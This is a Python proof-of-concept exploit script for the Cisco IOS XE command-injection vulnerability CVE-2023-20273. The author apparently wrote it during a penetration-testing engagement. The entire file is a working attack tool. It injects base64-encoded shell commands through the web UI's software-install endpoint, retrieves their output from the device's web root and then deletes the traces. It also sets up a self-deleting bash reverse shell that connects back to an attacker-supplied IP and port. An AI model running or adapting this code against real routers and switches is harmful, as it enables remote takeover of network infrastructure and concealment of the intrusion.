#!/usr/bin/env python3 import requests import argparse import ipaddress import logging import logging.config import urllib3 import string import random from base64 import b64encode, b64decode from requests.auth import HTTPBasicAuth from time import sleep urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # PoC for CVE-2023-20273 # This was written during an engagement with a client, so there wasn't a variety of testing targets # tested and confirmed working on the following: # Client Guinea Pig: Catalast C9200L C9200L-24P-4G 16.12.4 CAT9K_LITE_IOSXE ARM64 # AWS AMI Instance: Catalyst C8000V 17.4.2 X86_64_LINUX_IOSD-UNIVERSALK9-M VXE # I had other versions in my client network (confirmed vulnerable to CVE-2023-20198) where i got response 200 from posting JSON pocs, but could never confirm command execution # notably on these, they all had 0 space available on flash: until i tried deleting a really old IOS XE image # on one of these hosts that i tried rebooting, the space available on flash: went up to a normal/reasonable level after rebooting, however it went back to 0 space available shortly after the reboot until i deleted an ancient IOS XE image # I suspect that if these are vulnerable to CVE-2023-20273, their filesystems are in a perpetually "stuck" state or the filesystem mappings are not the same as the ones i successfully exploited (ie flash: and bootflash: under the hood are symlinked as /flash and /bootflash to a mounted flash storage device # on all observed hosts, crashinfo: had plenty of space and was mounted rw. only on the confirmed exploited host though was i able to write a file to this mount through the poc # unconfirmed host details: # C9200L-48P-4G CAT9K_LITE_IOSXE 17.6.4 # C9200L-48P-4G CAT9K_LITE_IOSXE 17.6.5 # C9200L-48P-4G CAT9K_LITE_IOSXE 17.6.4 # i still dont really know what im doing with loggers # the requests library creates loggers when classes are instantiated. below prevents requests from spitting out its debug log when setting this scripts logger to debug logging.config.dictConfig({'version': 1, 'disable_existing_loggers': True}) # print wrappers for verbosity printi = logging.info printv = logging.debug printe = logging.error # scheme check for requests sHttp = "http://" sHttps = "https://" # general replace strings rTmpCmd = "" rTmpPath = "" rTmpFs = "" rTmpOp = "" rTmpIP = "" # general defaults defExPath = "shellsmoke" defExFs = "flash" defExOp = "SMU" defExIP = "1000:1000:1000" # replace strings for shell rTmpShIP = "" rTmpShPort = "" # self deleting tmpRevShell = "#!/bin/bash\nrm -f $0\nbash -i >& /dev/tcp// 0>&1\n" # replace strings for base64 exec rTmpB64 = "" tmpB64dCmd = "$(openssl enc -base64 -d <<< )" tmpB64dWrite = "$(openssl enc -base64 -d -out <<< )" # replace strings for command output rWriteOut = "" tmpWriteOutWeb = " &> /var/www/" tmpWriteOutTcp = "$(openssl enc -base64 -d -out <<< )" tmpWriteOutShell = "$(openssl enc -base64 -d -out <<< )" # replace string for reverse shell exec # found this in the metasploit module # i dont know exactly who discovered this, but they're an mvp for figuring out how to get traffic to route back through the VRF # the msf module should be updated to reflect that VRFs in the running config do not (always?) work # reverse shell and tcp output delivery would be trivial if i could figure out a good way of stuffing them into the map_chvrf.sh command # alas, im left with half a dozen string replacements instead tmpShellExec = "/usr/binos/conf/mcp_chvrf.sh global sh " # PoC JSON for CVE-2023-20273 with replace strings exTmpJson = """{"mode":"tftp", "installMethod":"tftp", "ipaddress":":$()", "operation_type":"", "filePath":"", "fileSystem":":"} """ # Cisco WebUI URIs + skiddie user-agent detection exUri = "/webui/rest/softwareMgmt/installAdd" exOutFileURI = "/webui/" exHead = {'User-Agent': 'CVE-2023-20273'} # banners are cool, am i real boy now? # source: https://patorjk.com/software/taag/ # font: slant banner = ''' _______ ________ ___ ____ ___ _____ ___ ____ ___ __________ / ____/ | / / ____/ |__ \ / __ \__ \|__ / |__ \ / __ \__ \/__ /__ / / / | | / / __/________/ // / / /_/ / /_ <________/ // / / /_/ / / / /_ < / /___ | |/ / /__/_____/ __// /_/ / __/___/ /_____/ __// /_/ / __/ / /___/ / \____/ |___/_____/ /____/\____/____/____/__ /____/\____/____/ /_//____/ _____/ /_ ___ / / /________ ___ ____ / /_____ / ___/ __ \/ _ \/ / / ___/ __ `__ \/ __ \/ //_/ _ \ (__ ) / / / __/ / (__ ) / / / / / /_/ / ,< / __/ /____/_/ /_/\___/_/_/____/_/ /_/ /_/\____/_/|_|\___/ ''' # stackoverflow for the W def randString(size=8, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def parseArgs(): ap = argparse.ArgumentParser(description='CVE-2023-20273 Exploit PoC', formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50)) # mandatory # groupTarget gT = ap.add_argument_group('Target options', '[Mandatory] Target arguments') gT.add_argument('-t', '--url', dest='cUrl', metavar='URL', action='store', required=True, help='Target Cisco URL (eg https://192.168.1.1 or http://192.168.2.2:8080)') gT.add_argument('-u', '--user', dest='cUser', metavar='Username', action='store', required=True, help='Cisco webui user name') gT.add_argument('-p', '--pass', dest='cPass', metavar='Password', action='store', required=True, help='Cisco webui user pass') # run mode # groupExec groupExec = ap.add_argument_group('Exploit mode', '[Mandatory] Exec command or reverse shell') gE = groupExec.add_mutually_exclusive_group(required=True) gE.add_argument('-c', dest='exCmd', metavar='Command', action='store', help='Command to run') gE.add_argument('-r', dest='exShell', action='store_true', help='Reverse shell (requires -ip and -port)') # output methods # groupOutput groupOutput = ap.add_argument_group('Output Options', '[Optional] Command output options') groupOutput.add_argument('-dest', dest='oDest', metavar='Outfile', action='store', help='[-r | -www | -tcp] destination file (default: random)') gO = groupOutput.add_mutually_exclusive_group() gO.add_argument('-www', dest='oWeb', action='store_true', help='[Default] Attempt to retrieve output via target web server') gO.add_argument('-tcp', dest='oTcp', action='store_true', help='[Not implemented] Attempt to send output to a TCP listener (requires -ip and -port)') gO.add_argument('-null', dest='oNull', action='store_true', help='Do not attempt to get command output') # shell/cmd output # groupLocal gL = ap.add_argument_group('Callback Options', 'For reverse shell or command output') gL.add_argument('-ip', dest='lHost', metavar='LocalIP', action='store', help='Local IP for reverse shell/command output') gL.add_argument('-port', dest='lPort', metavar='LocalPort', action='store', type=int, help='Local port for reverse shell/command output') # misc exploit options # groupMisc gM = ap.add_argument_group('Exploit options', '[Not implemented] Exploit modifiers') gM.add_argument('-fs', dest='mFs', metavar='filesystem', action='store', help='Filesystem on target for exploit staging (default: flash)') gM.add_argument('-path', dest='mPath', metavar='filepath', action='store', help='Filepath on target filesystem for exploit staging (default: shellsmoke)') gM.add_argument('-operation', dest='mOp', metavar='operation_type', action='store', help='Install operation type (not currently implemented) (default: SMU)') # verbose # groupVerbose gV = ap.add_argument_group('Verbosity control') gV.add_argument('-v', dest='verbose', action='store_true', help='Verbose output') gV.add_argument('-q', dest='quiet', action='store_true', help='Suppress Banner') args = ap.parse_args() # handle verbosity if args.verbose: logging.basicConfig(level=logging.DEBUG, format="%(message)s") #logger.setLevel(logging.DEBUG) else: logging.basicConfig(level=logging.INFO, format="%(message)s") #logger.setLevel(logging.INFO) if args.quiet: quiet = True else: quiet = False # theres not a way to differentiate between exclusive argument groups without building a more complex parser # -r is not compatible with output options if args.exShell and (args.oWeb or args.oTcp): printe("-r is not compatible with -www or -tcp") # build arg variables in clusters. each set will be stored in a list # in hindsight, this probably made my life harder. i'll probably go back to runset option grouping like with CVE-2023-20198 cUrl = args.cUrl cUser = args.cUser cPass = args.cPass # quick check for scheme in url if (not sHttp in cUrl) and (not sHttps in cUrl): printe(f"{cUrl} is missing a scheme!") printe("add http:// or https:// to the url and try again") exit(1) # target details lTgt = [cUrl, cUser, cPass] if args.lHost: lHost = args.lHost else: lHost = None if args.lPort: lPort = args.lPort else: lPort = None # exploit details if args.exCmd: exMode = "exec" exCmd = args.exCmd lExp = [exMode, exCmd] elif args.exShell: if (lHost or lPort) == None: printe('-r requires -ip and -port!') exit(1) else: exMode = "shell" lExp = [exMode, lHost, lPort] # output # add oDest to all run modes if args.oDest: oDest = args.oDest else: oDest = None # add oDest to shell. specify the type is "shell" for later use # rev shell is special so separate it from the rest if args.exShell: exOut = "shell" lOut = [exOut, oDest] else: if args.oTcp: if (lHost == None) or (lPort == None): printe('-tcp requires -ip and -port!') exit(1) else: exOut = "tcp" # add oDest to oTcp lOut = [exOut, oDest, lHost, lPort] elif args.oWeb: exOut = "www" lOut = [exOut, oDest] if args.oNull: exOut = None oDest = None lOut = [exOut, oDest] # default exec mode to www else: exOut = "www" lOut = [exOut, oDest] # misc. i put these in as placeholders for future research on the installAdd api endpoint if args.mFs: mFs = args.mFs else: mFs = None if args.mPath: mPath = args.mPath else: mPath = None if args.mOp: mOp = args.mOp else: mOp = None lMisc = [mFs, mPath, mOp] return lTgt, lExp, lOut, quiet def modExploit(lTgt, lExp, lOut): # run modCommand first. modCommand is here instead of main so i dont need to worry as much about function arguments modCmd, exOutFile = modCommand(lExp, lOut) # now modify the exploit json modEx = exTmpJson.replace(rTmpIP, defExIP) modEx = modEx.replace(rTmpOp, defExOp) modEx = modEx.replace(rTmpPath, defExPath) modEx = modEx.replace(rTmpFs, defExFs) modEx = modEx.replace(rTmpCmd, modCmd) printv("Generated initial exploit JSON\n") return modEx, exOutFile def modCommand(lExp, lOut): # first: b64 encode the commands if lExp[0] == "exec": tmpCmd = lExp[1] # base64, y r u liek dis encCmd = str(b64encode(tmpCmd.encode('utf-8')), 'utf-8') elif lExp[0] == "shell": # insert IP and port into bash rev shell tRevShell = tmpRevShell.replace(rTmpShIP, lExp[1]).replace(rTmpShPort, str(lExp[2])) printv(f"Rev shell command:\t\t{tRevShell}") encCmd = str(b64encode(tRevShell.encode('utf-8')), 'utf-8') # second: determine the command output # www gets stdout+stderr redirection to exOutFile in the modCmd # $(openssl enc -base64 -d <<< ) if lOut[0] == "www": if lOut[1]: exOutFile = lOut[1] else: exOutFile = randString() # when checking output with -www, add redirection to exOutFile in modCmd # " &> /var/www/" cmdWriteOut = tmpWriteOutWeb.replace(rWriteOut, exOutFile) modCmd = tmpB64dCmd.replace(rTmpB64, encCmd) if cmdWriteOut: modCmd += cmdWriteOut # shell gets the exOutFile placed in command as -out # $(openssl enc -base64 -d -out <<< ) elif lOut[0] == "shell": if lOut[1]: exOutFile = lOut[1] else: exOutFile = "/tmp/{}".format(randString()) # do a double replace on tmpWriteOutShell (above openssl cmd) to insert both the output file and b64 encoded command modCmd = tmpWriteOutShell.replace(rWriteOut, exOutFile).replace(rTmpB64, encCmd) # if exec and no output file, like exec stage 3 and shell stages 2+3, return just the base64 encoded command as modCmd and null exOutFile elif (lExp[0] == "exec") and (not lOut[0]): modCmd = tmpB64dCmd.replace(rTmpB64, encCmd) #modCmd = tmpCmd exOutFile = None return modCmd, exOutFile # always go through exStage1 to perform command injection def exStage1(lTgt, modEx): # clean up user supplied url and add the api endpoint exUrl = lTgt[0].strip('/') + exUri # this isn't necessary, but i can reuse it for all future requests. this should go into main or something exAuth = HTTPBasicAuth(lTgt[1], lTgt[2]) print("Beginning Exploit Stage 1") print(f"Target Login Username:\t\t{lTgt[1]}") print(f"Target Login Password:\t\t{lTgt[2]}") print(f"Exploit URL:\t\t\t{exUrl}") print(f"Sending Malicious JSON") printv('') printv(modEx) try: r = requests.post(exUrl, auth=exAuth, headers=exHead, data=modEx, verify=False) retStage1 = r.status_code if retStage1 == 200: print("Got a 200 from target webserver, looks good") print() else: # error printing for unexpected/unintended responses printe("Something went wrong:") printe(f"HTTP Response:\t{r.status_code}") printe("Body:") printe(str(r.content, 'utf-8')) # generic exception catch. as exceptions are encountered, these will be expanded to provide better user feedback on errors except Exception as e: printe(e) retStage1 = False return exUrl, exAuth, retStage1 # stage2 for exec is collecting command output def execStage2(lTgt, lOut, exOutFile, exAuth): if exOutFile: # cleanup user supplied url and add the exOutFile for retrieving command output exOutFileUrl = lTgt[0].strip('/') + exOutFileURI + exOutFile print("Starting EXEC Stage 2") print("Command should have executed, attempting to retrieve output") print("Letting the dust settle for a couple seconds") sleep(3) print('') print(f"Requesting:\t\t\t{exOutFileUrl}") try: r = requests.get(exOutFileUrl, auth=exAuth, headers=exHead, verify=False) retExecStage2 = r.status_code if retExecStage2 == 200: print("Retrieval of command output looks successful:\n") print(str(r.content, 'utf-8')) print('') return True, exOutFileUrl else: printe("Something went wrong:") printe(f"HTTP Response:\t{retExecStage2}") printe(str(r.content, 'utf-8')) printe('') return False, exOutFileUrl except Exception as e: printe(e) return False else: # generic placeholder for else. will expand this in the future exOutFileUrl = None return True, exOutFileUrl # stage3 for exec is cleanup def execStage3(lTgt, lExp, exUrl, exOutFile, exOutFileUrl, exAuth): exRmFile = f"rm /var/www/{exOutFile}" # modify the lExp command [1] for running cleanup lExp[1] = exRmFile print("Starting EXEC Stage 3") print("Preparing to cleanup artifacts by re-exploiting") print(f"Generating new JSON to clean:\t{exOutFile}") print(f"New unencoded command:\t\t{exRmFile}") # pigeonholed myself pretty early with the group lists # clever way of getting around this bad coding is to pass None as the lOut # exOutFile is always returned by modExploit, so we need something to hold the return value # it isn't returned by this function so changing it here has no impact on other functions modExClean, exOutFileNull = modExploit(lTgt, lExp, [None]) print(f"Sending new JSON for cleanup") printv(modExClean) try: r = requests.post(exUrl, auth=exAuth, headers=exHead, data=modExClean, verify=False) retExecStage3 = r.status_code if retExecStage3 == 200: print("Exploit for cleanup appears to have worked") else: printe("sumn went wrong here") printe(f"HTTP Response:\t{retExecStage3}") printe("Body:") printe(str(r.content, 'utf-8')) printe('') return False except Exception as e: printe("Something went wrong") printe(e) return False # the web server response indicates that the command was executed successfully, but theres no direct command output from the exploit # to verify the artifact was cleaned, perform another request to exOutFileUrl if retExecStage3 == 200: print("hol up, just need a sec here\n") sleep(3) print("Verifying cleanup was successful") print(f"Requesting:\t\t\t{exOutFileUrl}") try: r = requests.get(exOutFileUrl, auth=exAuth, headers=exHead, verify=False) retExecStage3Clean = r.status_code # 404 not found is good, anything else is bad if retExecStage3Clean == 404: print(f"Got a 404 on {exOutFileUrl}") print("Thats a good thing") print("Cleanup appears successful") return True elif retExecStage3Clean == 200: printe("Uh oh.") printe("Got a 200. Not a good sign") printe("Request response body:") printe(str(r.content, 'utf-8')) printe('') return False else: printe("something WEIRD happened") printe("better check it out") printe(f"HTTP Response:\t{retExecStage3Clean}") printe("Request response body:") printe(str(r.content, 'utf-8')) printe('') return False except Exception as e: printe(":( an air-or") printe(e) return False # stage2 for shell is chmod def shellStage2(lTgt, lExp, lOut, modEx, exOutFile, exUrl, exAuth): print("Starting SHELL Stage 2") print("Generating new exploit JSON for chmod") exChmod = f"chmod +x {exOutFile}" # just like exec stage3, re-exploit. this time running chmod on the script # we want to run modExploit as an exec with no output chExp = ["exec", exChmod] modExChmod, exOutFile = modExploit(lTgt, chExp, [None]) print("Waiting a second before continuing") sleep(3) print("Sending new JSON for chmod") printv('') printv(modExChmod) # now that we have a new exploit json, send it to the target try: r = requests.post(exUrl, auth=exAuth, headers=exHead, data=modExChmod, verify=False) retShellStage2 = r.status_code if retShellStage2 == 200: print("Got a 200 from the server. chmod success\n") return True else: printe("bad stuff") printe("better check it out") printe(f"Requested URL:\t{exUrl}") printe(f"HTTP Response:\t{retShellStage2}") printe("Request response body:") printe(str(r.content, 'utf-8')) printe('') return False except Exception as e: printe("whoops. that wasnt supposed to happen:") printe(e) return False # stage3 for shell is execute def shellStage3(lTgt, lExp, lOut, modEx, exOutFile, exUrl, exAuth): print("Starting SHELL Stage 3") print("Generating new JSON for exec") # in theory this is a simple rinse and repeat from stage 2 for executing exShellExec = tmpShellExec.replace(rWriteOut, exOutFile) shExp = ["exec", exShellExec] # run modExploit as an exec with no output modExShellExec, exOutFile = modExploit(lTgt, shExp, [None]) printv(modExShellExec) print("One last sleep before kicking off the reverse shell") sleep(3) printv('') print("Sending new JSON for exec") printv(modExShellExec) printv('') try: r = requests.post(exUrl, auth=exAuth, headers=exHead, data=modExShellExec, verify=False) retShellStage3 = r.status_code if retShellStage3 == 200: print("Exploit should have succeeded and rshell script auto-deleted") print("Check your listener for a shell") return True else: printe("There was an error trying to execute the script:") printe(f"Requested URL:\t{exUrl}") printe(f"HTTP Response:\t{retShellStage3}") printe("Request response body:") printe(str(r.content, 'utf-8')) printe('') return False except Exception as e: printe("there was an error trying to execute the script:") printe(e) return False def main(): lTgt, lExp, lOut, quiet = parseArgs() # babbys first banner # i add an option to suppress because im not an asshole if not quiet: print(banner) print(f"Running in {lExp[0].upper()} mode") print(f"Target Base URL:\t\t{lTgt[0]}") print(f"Generating exploit JSON") modEx, exOutFile = modExploit(lTgt, lExp, lOut) # exec mode -> ["exec", exCmd] if lExp[0] == "exec": print(f"Unencoded Command:\t\t{lExp[1]}") #print(f"Base64 Encoded Command:\t\t{modCmd}") if exOutFile: print(f"Command output file:\t\t{exOutFile}") else: print("Command output will not be saved and retrieved") # shell mode -> ["shell", lHost, lPort] elif lExp[0] == "shell": print(f"Reverse Shell Listener Host:\t{lExp[1]}") print(f"Reverse Shell Listener Port:\t{lExp[2]}") print('') exUrl, exAuth, retStage1 = exStage1(lTgt, modEx) # we can reuse the return values from the functions with the run mode to control the flow of execution if retStage1 == 200: if lExp[0] == "exec": retStage2, exOutFileUrl = execStage2(lTgt, lOut, exOutFile, exAuth) elif lExp[0] == "shell": retStage2 = shellStage2(lTgt, lExp, lOut, modEx, exOutFile, exUrl, exAuth) else: printe("STAGE 1 FAIL") if retStage2: if lExp[0] == "exec": retStage3 = execStage3(lTgt, lExp, exUrl, exOutFile, exOutFileUrl, exAuth) elif lExp[0] == "shell": retStage3 = shellStage3(lTgt, lExp, lOut, modEx, exOutFile, exUrl, exAuth) return else: printe("STAGE 2 FAIL") if __name__ == "__main__": main() # privesc to root # https://blog.leakix.net/2023/10/cisco-root-privesc/ # https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf ''' POST /webui/rest/softwareMgmt/installAdd HTTP/1.1 Host: 10.0.0.1 Content-Length: 42 Cookie: Auth= X-Csrf-Token: {"installMethod":"tftp","ipaddress":"1000:1000:1000: $(echo hello world > /var/www/hello.html)","operation_type":"SMU","filePath":"test","fileSystem":"flash:"} ''' # more: # https://www.picussecurity.com/resource/blog/cve-2023-20198-actively-exploited-cisco-ios-xe-zero-day-vulnerability # https://www.tenable.com/blog/cve-2023-20198-zero-day-vulnerability-in-cisco-ios-xe-exploited-in-the-wild # https://twitter.com/leak_ix/status/1718323987623633035